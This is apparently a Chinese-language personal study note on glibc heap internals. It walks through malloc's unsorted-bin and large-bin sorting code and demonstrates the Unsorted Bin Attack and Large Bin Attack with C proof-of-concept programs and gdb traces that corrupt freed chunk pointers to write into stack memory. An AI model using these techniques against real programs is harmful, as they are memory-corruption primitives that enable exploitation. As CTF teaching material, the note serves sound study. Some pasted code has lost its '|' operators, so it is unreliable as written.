关于如何理解Glibc堆管理器(Ⅴ——从Large Bin Attack理解malloc对Bins的分配)

First Post:

Last Update:

​

本篇实为个人笔记，可能存在些许错误；若各位师傅发现哪里存在错误，还望指正。感激不尽。

若有图片及文稿引用，将在本篇结尾处著名来源(也有置于篇首的情况)。

参考文章：

        同样先引用如下两篇文章。如果读者能够通过如下三篇文章掌握Large Bin Attack，那么本篇便只是附带品，没有什么其他内容

https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack/

https://bbs.pediy.com/thread-262424.htm

条件背景：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
    bck = victim->bk;
    if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
         __builtin_expect (chunksize_nomask (victim)
                   > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
    size = chunksize (victim);
 
    /*
      If a small request, try to use last remainder if it is the
      only chunk in unsorted bin.  This helps promote locality for
      runs of consecutive small requests. This is the only
      exception to best-fit, and applies only when there is
      no exact fit for a small chunk.
    */
 
    if (in_smallbin_range (nb) &&
        bck == unsorted_chunks (av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
    {
        /* split and reattach remainder */
        remainder_size = size - nb;
        remainder = chunk_at_offset (victim, nb);
        unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
        av->last_remainder = remainder;
        remainder->bk = remainder->fd = unsorted_chunks (av);
        if (!in_smallbin_range (remainder_size))
        {
            remainder->fd_nextsize = NULL;
            remainder->bk_nextsize = NULL;
        }
 
        set_head (victim, nb  PREV_INUSE 
                  (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head (remainder, remainder_size  PREV_INUSE);
        set_foot (remainder, remainder_size);
 
        check_malloced_chunk (av, victim, nb);
        void *p = chunk2mem (victim);
        alloc_perturb (p, bytes);
        return p;
    }
 
    /* remove from unsorted list */
    unsorted_chunks (av)->bk = bck;
    bck->fd = unsorted_chunks (av);
 
    /* Take now instead of binning if exact fit */
 
    if (size == nb)
    {
         set_inuse_bit_at_offset (victim, size);
         if (av != &main_arena)
             set_non_main_arena (victim);
         check_malloced_chunk (av, victim, nb);
         void *p = chunk2mem (victim);
         alloc_perturb (p, bytes);
         return p;
    }
 
    /* place chunk in bin */
    if (in_smallbin_range (size))
    {
        victim_index = smallbin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;
    }
    else
    {
        victim_index = largebin_index (size);
        bck = bin_at (av, victim_index);
        fwd = bck->fd;
 
        /* maintain large bins in sorted order */
        if (fwd != bck)
        {
             /* Or with inuse bit to speed comparisons */
             size = PREV_INUSE;
             /* if smaller than smallest, bypass loop below */
             assert (chunk_main_arena (bck->bk));
             if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
             {
                 fwd = bck;
                 bck = bck->bk;
                 victim->fd_nextsize = fwd->fd;
                 victim->bk_nextsize = fwd->fd->bk_nextsize;
                 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
              }
              else
              {
                  assert (chunk_main_arena (fwd));
                  while ((unsigned long) size < chunksize_nomask (fwd))
                  {
                      fwd = fwd->fd_nextsize;
                      assert (chunk_main_arena (fwd));
                  }
 
                  if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                  else
                  {
                      victim->fd_nextsize = fwd;
                      victim->bk_nextsize = fwd->bk_nextsize;
                      fwd->bk_nextsize = victim;
                      victim->bk_nextsize->fd_nextsize = victim;
                  }
                  bck = fwd->bk;
              }
          }
          else
              victim->fd_nextsize = victim->bk_nextsize = victim;
    }
 
 
 
    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
 
#define MAX_ITERS       10000
    if (++iters >= MAX_ITERS)
        break;
}

        该代码主要阐述：当管理器从Unsorted Bin中取出chunk置入对应Bins的时，如何判断置入何处、做出哪些相应修改。

        如果读者并不熟悉这段代码，并对其中的变量名感到困惑，可以暂且搁置，笔者将在后续补充这些内容以方便理解该代码。

前置知识：

  •         Unsorted Bin是先进后出(在两个chunk都满足malloc请求时先操作后入的)
  •         Unsorted Bin是无序且紧凑的，放入该结构中的相邻chunk将被合并且直接放入头部
  •         Large Bins的链表是有序的，排序规则为降序
  •         了解bk_nextsize、fd_nextsize、bk、fd指针的指向目标
  •         待补充

Unsorted Bin Attack：

        在解释Large Bin Attack之前，我觉得有必要先从Unsorted Bin Attack开始。笔者认为这将有助于读者理解之后的内容。如下内容摘自：CTF-WIKI

概述

Unsorted Bin Attack  该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关

Unsorted Bin Attack  被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针

Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值(该值不可控)

范例代码：(howtoheap2——unsorted_bin_attack)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>

int main(){

unsigned long stack_var=0;

unsigned long *p=malloc(400);

malloc(500);

free(p);

p[1]=(unsigned long)(&stack_var-2);

malloc(400);
}

         笔者删去了所有的fprintf以让上述代码看起来更加整洁，读者可以自行对代码进行调整

代码调试：

        运行上述程序到第13行；第二次malloc将  p 与Top chunk隔离，使其在free(p)时不会直接被并入Top chunk

        此时的Bins中为：

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000

        对于不使用Fast Bins的chunk来说，在free时会先将其置入Unsorted Bin中

        由于用户没有将 p 指针置NULL，因此我们能够通过操作 p 指针来改变 chunk的数据(14行)

1
2
3
4
5
6
7
8
9
gdb-peda$ heap
0x602000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x1a1, 
  fd = 0x7ffff7dd1b78 <main_arena+88>, 
  bk = 0x7fffffffde08, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

        如上是修改后的 chunk p

        其bk被指向了栈中的某个位置

        而在第15行将申请一个0x400大小的chunk，刚好能够由 p 分配，则管理器将其从Bin中取出，此时发生了Unsorted Bin Attack，我们可以从条件背景中摘录部分关键代码来解释这个现象：

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

        注：unsorted_chunks (av)返回指向 Unsorted Bin表头的指针，其bk指针指向最后一个节点

        注：victim表示Unsorted Bin中最后一个节点

        注：此处的bck = victim->bk;

        该段代码作用为：

  • 将倒数第二个节点作为最后一个节点
  • 将倒数第二个节点的下一个节点指向表头

       正常的操作当然不会引发问题，这两个操作成功将最后一个节点从Unsorted Bin中摘除

        但范例中的bck=&stack_var-2，如果此时调用malloc，则摘除 chunk p ，触发上述情况

        bck->fd处将被写入表头地址，这个地址并不是我们能够控制的，只能表示一个较大的值罢了

        在用于修改一些长度限制时有奇效，但除此之外似乎并没有特别的用处

1
2
gdb-peda$ p stack_var 
$1 = 0x7ffff7dd1b78

1
2
3
4
5
6
7
8
0x602000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x1a1, 
  fd = 0x7ffff7dd1b78 <main_arena+88>, 
  bk = 0x7fffffffde08, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

         可以发现，这个值stack_var的值被写为了表头地址

Large Bin Attack：

        比起说明，笔者认为直接用代码更加便于理解

        下示范例摘自参考文章第一个链接中的范例

范例代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include<stdio.h>
#include<stdlib.h>
 
int main()
{
    unsigned long *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10, *p11, *p12;
    unsigned long *p;
    unsigned long stack[8] = {0};
    printf("stack address: %p\n", &stack);
    p1 = malloc(0x3f0);
    p2 = malloc(0x20);
    p3 = malloc(0x400);
    p4 = malloc(0x20);
    p5 = malloc(0x400);
    p6 = malloc(0x20);
    p7 = malloc(0x120);
    p8 = malloc(0x20);
    p9 = malloc(0x140);
    p10 = malloc(0x20);
    p11 = malloc(0x400);
    p12 = malloc(0x20);
    free(p7);
    free(p9);
 
    p = malloc(0x60);
    p = malloc(0xb0);
 
    free(p1);
    free(p3);
    free(p5);
 
    p = malloc(0x60);
 
    free(p11);

    //step 2-3-2-1
    //*(p1-1) = 0x421;
    //p = malloc(0x60);
     
    //step 2-3-2-2-1
    //p = malloc(0x60);
     
    //step 2-3-2-2-2
    //*(p3-1) = 0x3f1;
    //p = malloc(0x60);

//  Attack part
/*
    *(p3-1) = 0x3f1;
    *(p3) = (unsigned long)(&stack);
    *(p3+1) = (unsigned long)(&stack);
    *(p3+2) = (unsigned long)(&stack);
    *(p3+3) = (unsigned long)(&stack);
    // trigger malicious malloc
    p = malloc(0x60);

*/
    return 0;
}

代码调试：

        首先断点定于25行，此时的Unsorted Bins中已放入p7，p9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsortedbin
all: 0x602e10 —▸ 0x602cb0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602e10
smallbins
empty

gdb-peda$ p p7
$1 = (unsigned long *) 0x602cc0
gdb-peda$ p p9
$2 = (unsigned long *) 0x602e20

0x602cb0 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x131, 
  fd = 0x7ffff7dd1b78 <main_arena+88>, 
  bk = 0x602e10, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x602e10 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x151, 
  fd = 0x602cb0, 
  bk = 0x7ffff7dd1b78 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

        当用户malloc(0x60)时候，将把p7取出并切割分配给用户，并将剩余部分重新放回Unsorted Bin，再往前将其他块(此处为p9)放入对应的Bins中，

1
2
3
4
unsortedbin
all: 0x602d20 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602d20 /* ' -`' */
smallbins
0x150: 0x602e10 —▸ 0x7ffff7dd1cb8 (main_arena+408) ◂— 0x602e10

这里有几个细节需要注意：

1
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))

        如上是条件背景第一行，它将victim定为链表的最后一个单元，这意味着Unsorted Bin是从后往前遍历的(因此是先p7，再p9)

        p7是小于p9的，它在Small Bin数组中应该位于索引较低的链表上；而申请结束后，p9被放入Small Bin，而p7被切割后放回Unsorted Bin，这意味着Small Bin是从低索引往高索引遍历的

        注：有一个名为mark_bin (av, victim_index)的函数，它会将以victim_index为索引的chunk标记为”有空闲块“，因此扫描时总是先扫描该Bin有无空闲块，然后再往下

1
2
3
4
unsortedbin
all: 0x0
smallbins
0x150: 0x602e10 —▸ 0x7ffff7dd1cb8 (main_arena+408) ◂— 0x602e10

        再一次申请，由于刚好大小符合Unsorted Bin，因此直接摘除

        接下来一直运行到第32行：

1
2
3
4
5
6
unsortedbin
all: 0x602870 —▸ 0x602430 —▸ 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602870 /* 'p(`' */
smallbins
0x150: 0x602e10 —▸ 0x7ffff7dd1cb8 (main_arena+408) ◂— 0x602e10
largebins
empty

         p1、p3、p5都比较大，属于Large Bin的范畴，而再次申请后的Bins将如下：

1
2
3
4
5
6
unsortedbin
all: 0x602e80 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602e80
smallbins
empty
largebins
0x400: 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602430 /* '0$`' */

        可以看见，顺序为p2——>p3——>p1，且存放在同一个Large Bin中(Large Bin有六十多个)

        他们实则是降序排列的，但p2和p3由于大小相同，似乎不太好分辨相同size时该如何处理，这个疑问将在接下来注释的代码段中阐明，暂且继续往下：

1
2
3
4
5
6
7
8
unsortedbin
all: 0x602f90 —▸ 0x602e80 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602f90
smallbins
empty
largebins
0x400: 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602430 /* '0$`' */
gdb-peda$ p p11
$3 = (unsigned long *) 0x602fa0

        free(p11)后Bins的情况如上

step 2-3-2-1：

        现在，我们将代码中注释的step 2-3-2-1下两行解开，重新编译，进入第37行的情况：

1
2
3
4
5
6
7
8
9
gdb-peda$ heap
0x602000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x421, 
  fd = 0x7ffff7dd1f68 <main_arena+1096>, 
  bk = 0x602870, 
  fd_nextsize = 0x602430, 
  bk_nextsize = 0x602430
}

        我们发现，其修改了chunk p1的size，而此时的chunk p1正被挂在Large Bin 中的最后一个节点上，当我们再次malloc时候，将得到如下的Bin：

1
2
3
4
5
6
unsortedbin
all: 0x602ef0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602ef0
smallbins
empty
largebins
0x400: 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x602f90 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— ...

         我们按照顺序标记出Large Bin中四个节点的大小：0x411、0x411、0x421、0x411

        p11被挂到了最后，且p1也没有挂到前面去，这种现象是由于管理机制的漏洞所致：

        堆管理器会默认当前Index下的链表的最后一个就是最小的块，然后把要放入的块和其比较，如果比当前最小块还小，那就直接放在最后，并直接返回了

        因此篡改了本例种最后一个节点p1的大小，使得整个链表的“最小块”的尺寸增大，以至于出现上述现象

step 2-3-2-2-1：

        现在注释掉step 2-3-2-1并解开step 2-3-2-2-1，重新编译并运行到41行

1
2
3
4
5
6
unsortedbin
all: 0x602ef0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602ef0
smallbins
empty
largebins
0x400: 0x602430 —▸ 0x602f90 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— ...

        0x602f90 的Size也为0x411，它大于最小的块，因此将从该Index的链表头部开始往下遍历，并发现第一个节点的Size与其相同，于是直接将该节点放在第二个节点的位置，其他节点顺位往下

step 2-3-2-2-2：

        注释掉step 2-3-2-2-1并解开step 2-3-2-2-2

        程序在第44行篡改了第一个节点的Size，使其小于将要插入的块

        于是当我们检索发现要插入的块其Size大于最小块，从头开始遍历，又发现其大于第一个节点，于是就将自己作为了新的头节点

1
2
3
4
5
6
unsortedbin
all: 0x602ef0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602ef0
smallbins
empty
largebins
0x400: 0x602f90 —▸ 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— ...

Attack part：

        最后，我们注释掉step 2-3-2-2-2，并解开Attack part的注释重新编译并运行到第49行

        49至53行，代码篡改了chunk p3的内容，直接运行到54行，查看p3结构：

1
2
3
4
5
6
7
8
0x602840 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x3f1, 
  fd = 0x7fffffffdde0, 
  bk = 0x7fffffffdde0, 
  fd_nextsize = 0x7fffffffdde0, 
  bk_nextsize = 0x7fffffffdde0
}

         当我们再次执行malloc时候，将会在该链表头部插入新的节点

        此时，由于我们对原本的头部进行了数据的篡改，将导致堆地址的泄露

        其原理与第四章所写的Unlink攻击有些相似

        我们先从条件背景中摘抄出本范例在最后一个malloc时候会发生的事情：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
              else
              {
                  victim->fd_nextsize = fwd;
                  victim->bk_nextsize = fwd->bk_nextsize;
                  fwd->bk_nextsize = victim;
                  victim->bk_nextsize->fd_nextsize = victim;
              }
              bck = fwd->bk;
          }
      }
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

  • victim为将要插入的chunk
  • fwd为 下一个小于victim的节点
  • bck见代码第8行(将会指向Bins的表头)
  • victim_index表示victim将要放入的Bin的索引

        本例中，victim为 chunk p11，fwd将为chunk p3，bck则为&stack

        在第6行处，将在(&stack+4)处写入victim的堆地址

        在最后一行，将在(&stack+2)处写入victim的堆地址

1
2
3
4
5
6
7
8
gdb-peda$ p &stack
$5 = (unsigned long (*)[8]) 0x7fffffffdde0
gdb-peda$ x /10gx 0x7fffffffdde0
0x7fffffffdde0:0x00000000000000000x0000000000000000
0x7fffffffddf0:0x00000000006033a00x0000000000000000
0x7fffffffde00:0x00000000006033a00x0000000000000000
0x7fffffffde10:0x00000000000000000x0000000000000000
0x7fffffffde20:0x00007fffffffdf100x131d22806a239e00

         Large Bin Attack至此成功 ​

插画ID：91443910

≡